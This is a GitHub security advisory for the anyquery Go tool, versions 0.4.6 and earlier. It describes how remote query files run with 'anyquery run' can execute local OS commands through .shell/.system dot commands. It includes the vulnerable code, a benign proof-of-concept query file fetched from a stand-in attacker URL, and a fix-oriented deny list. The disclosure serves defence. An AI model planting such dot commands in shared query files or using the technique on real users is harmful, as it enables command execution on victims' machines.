Skip to content

Remote query files executed through anyquery run can invoke local shell commands via dot commands

High
julien040 published GHSA-xhv3-pjg4-555g Aug 5, 2026

Package

gomod github.com/julien040/anyquery (Go)

Affected versions

<=0.4.6

Patched versions

0.4.7

Description

Summary

The anyquery run command can execute query files from local paths or remote URLs. Query files are presented as SQL/query templates, but the run flow executes the file content through the Anyquery shell with dot commands enabled.

Because dot commands include .shell and .system, an attacker-controlled query file can execute local operating system commands when a user runs it with anyquery run.

This is a user-assisted command execution issue. An attacker who convinces a user to run an untrusted query URL can execute commands in the context of the Anyquery process.

Details

The affected behavior is in the anyquery run workflow.

The command supports running queries from sources such as query IDs, local paths, HTTP URLs, and S3 URLs. The documented usage includes running a query from a remote URL:

anyquery run https://raw.githubusercontent.com/julien040/anyquery/main/queries/github_stars_per_day.sql

In controller/run.go, the query file is loaded or downloaded, the TOML manifest block is removed, the remaining content is split into queries, and each query is executed through the Anyquery shell:

content = regexpManifest.ReplaceAll(content, []byte(""))
queriesToRun := splitMultipleQuery(string(content))

for _, query := range queriesToRun {
    shell.Run(query, answers...)
}

The shell used by anyquery run is configured with dot commands enabled:

Config: middlewareConfiguration{
    "dot-command":   true,
    "mysql":         true,
    "slash-command": true,
}

In controller/middleware.go, the dot-command middleware supports .shell and .system. These commands execute local operating system commands using exec.Command:

case "shell", "system":
    if len(args) == 0 {
        queryData.Message = "No command provided"
        queryData.StatusCode = 2
    } else {
        command := args[0]
        args = args[1:]
        cmd := exec.Command(command, args...)
        output, err := cmd.CombinedOutput()
        if err != nil {
            queryData.Message = err.Error()
            queryData.StatusCode = 2
        } else {
            queryData.Message = string(output)
            queryData.StatusCode = 0
        }
    }

As a result, a remote query file is not treated as SQL-only content. If the file contains .shell or .system, those commands can be executed locally when the user runs the file through anyquery run.

This behavior is dangerous because users may reasonably expect remote query templates to execute database queries, not arbitrary local system commands.

PoC

This proof of concept uses a benign local marker file and should be tested only in a controlled local environment.

Create a file named poc.sql with the following content:

/*
title = "Benign command execution PoC"
description = "Demonstrates that anyquery run executes dot commands from query files"
author = "security test"
*/

.print before
.shell sh -c "printf anyquery-poc > /tmp/anyquery_poc_marker"
SELECT 1;

Run the query file locally:

anyquery run ./poc.sql

Or host the file on a controlled HTTP server and run it through a URL:

anyquery run https://attacker.example/poc.sql

Verify that the benign marker file was created:

cat /tmp/anyquery_poc_marker

Expected result:

anyquery-poc

This confirms that a query file executed through anyquery run can invoke local shell commands through the .shell dot command.

Windows benign PoC variant:

/*
title = "Benign command execution PoC"
description = "Demonstrates that anyquery run executes dot commands from query files"
author = "security test"
*/

.print before
.shell cmd /c echo anyquery-poc > %TEMP%\anyquery_poc_marker.txt
SELECT 1;

Impact

An attacker who convinces a user to run an attacker-controlled query URL can execute arbitrary local commands with the privileges of the user running Anyquery.

Potential impact includes:

  • Reading files accessible to the current user
  • Writing or modifying local files
  • Running arbitrary local programs
  • Modifying local application state
  • Accessing environment variables or local credentials available to the process
  • Higher impact if Anyquery is executed in a privileged environment

This is not a zero-click vulnerability. User interaction is required because the victim must run an untrusted query file or URL. However, the issue crosses a trust boundary because externally sourced query templates can trigger local OS command execution.

Suggested Fix

Treat files executed through anyquery run as SQL/query templates only.

Recommended fixes:

  1. Disable dot commands for the anyquery run flow:
Config: middlewareConfiguration{
    "dot-command":   false,
    "mysql":         true,
    "slash-command": false,
}
  1. If dot commands are needed for compatibility, allow only a safe subset and explicitly deny dangerous commands such as:
.shell
.system
.cd
.output
.log
  1. Reject any downloaded or local query file passed to anyquery run if it contains .shell or .system after manifest removal.

  2. Keep .shell and .system limited to explicit interactive shell usage where the user is directly typing commands.

  3. Add regression tests to ensure that query files containing .shell or .system are rejected when executed through anyquery run.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Inclusion of Functionality from Untrusted Control Sphere

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. Learn more on MITRE.

Credits